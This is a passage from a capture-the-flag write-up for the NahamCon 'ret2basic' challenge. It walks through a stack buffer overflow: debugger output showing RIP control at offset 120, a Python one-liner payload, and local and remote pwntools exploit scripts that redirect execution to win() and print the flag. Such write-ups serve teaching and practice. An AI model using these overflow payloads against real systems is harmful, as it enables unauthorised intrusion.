0x00007fffffffdd80│+0x0010: 0x00007fffffffde68 → 0x00007fffffffe219 → "/root/Documents/nahamcon/binary/ret2basic"
0x00007fffffffdd88│+0x0018: 0x0000000100000000
0x00007fffffffdd90│+0x0020: 0x000000000040133c → <main+0> push rbp
0x00007fffffffdd98│+0x0028: 0x00007ffff7e067d9 → <init_cacheinfo+297> mov rbp, rax
0x00007fffffffdda0│+0x0030: 0x0000000000000000
0x00007fffffffdda8│+0x0038: 0x96382d43e61f4924
────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x424242424242
────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x424242424242 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x $rip
0x424242424242: Cannot access memory at address 0x424242424242
So we have successfully gained control over RIP and the offset is 120.
Exploitation
As we know the binary does not have an executable stack, but we can replace the address at the right location so that the ret call redirects the program counter to win()
which will result in reading flag.txt
So now the last remaining piece of the puzzle is the address of win
function.
1
2
gef➤ p win
$1 = {<text variable, no debug info>} 0x401215 <win>
Let’s test it out, first we will convert address 0x401215
in little endian format, we can do it using pwntools in python.
1
2
3
4
5
6
7
8
9
cfx: ~/Documents/nahamcon/binary
→ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> win = p64(0x401215)
>>> win
b'\x15\x12@\x00\x00\x00\x00\x00'
Now let’s send this address in one liner python:
1
2
3
cfx: ~/Documents/nahamcon/binary
→ (python -c "print 'A'*120 + '\x15\x12@\x00\x00\x00\x00\x00'") | ./ret2basic
Can you overflow this?: Failed to open the flag file.
Bingo ! This time we got Failed to open the flag file.
which confirms we successfully called win()
function, although we were not able to read the flag since we called the service locally. Let’s write a exploit using pwntools which will call the remote service of this challenge.
Local Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
elf = ELF("./ret2basic")
win = p64(elf.symbols.win)
payload = b"A"*120 + win
def main():
p = elf.process()
p.recvuntil("Can you overflow this?:")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main()
One of the advantage of using pwntools is that we don’t need to hardcode any address, we can use elf.symbols.win
which will fetch the address of win()
from the elf binary specified.
Running the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
cfx: ~/Documents/nahamcon/binary
→ python3 local.py
[*] '/root/Documents/nahamcon/binary/ret2basic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/root/Documents/nahamcon/binary/ret2basic': pid 76643
[*] Switching to interactive mode
[*] Process '/root/Documents/nahamcon/binary/ret2basic' stopped with exit code 1 (pid 76643)
Failed to open the flag file.
[*] Got EOF while reading in interactive
Great! It’s working. Let’s just tweak it to run on remote service and grab the flag:
Remote Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
elf = ELF("./ret2basic") #ELF binary
win = p64(elf.symbols.win) #win= 0x401215 (info functions)/p win
payload = b"A"*120 + win
def main():
p = remote("challenge.nahamcon.com", 32043) #remote connection
p.recvuntil("Can you overflow this?:") #Waiting until this line
p.sendline(payload) #Sending payload
p.interactive()
if __name__ == "__main__":
main()
Pwning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cfx: ~/Documents/nahamcon/binary
→ python exp.py
[*] '/root/Documents/nahamcon/binary/ret2basic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to challenge.nahamcon.com on port 32043: Done
[*] Switching to interactive mode
Can you overflow this?: Here's your flag.
flag{d07f3219a8715e9339f31cfbe09d6502}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to challenge.nahamcon.com port 32043
And we pwned the challenge !
Thanks for reading, Suggestions & Feedback are appreciated !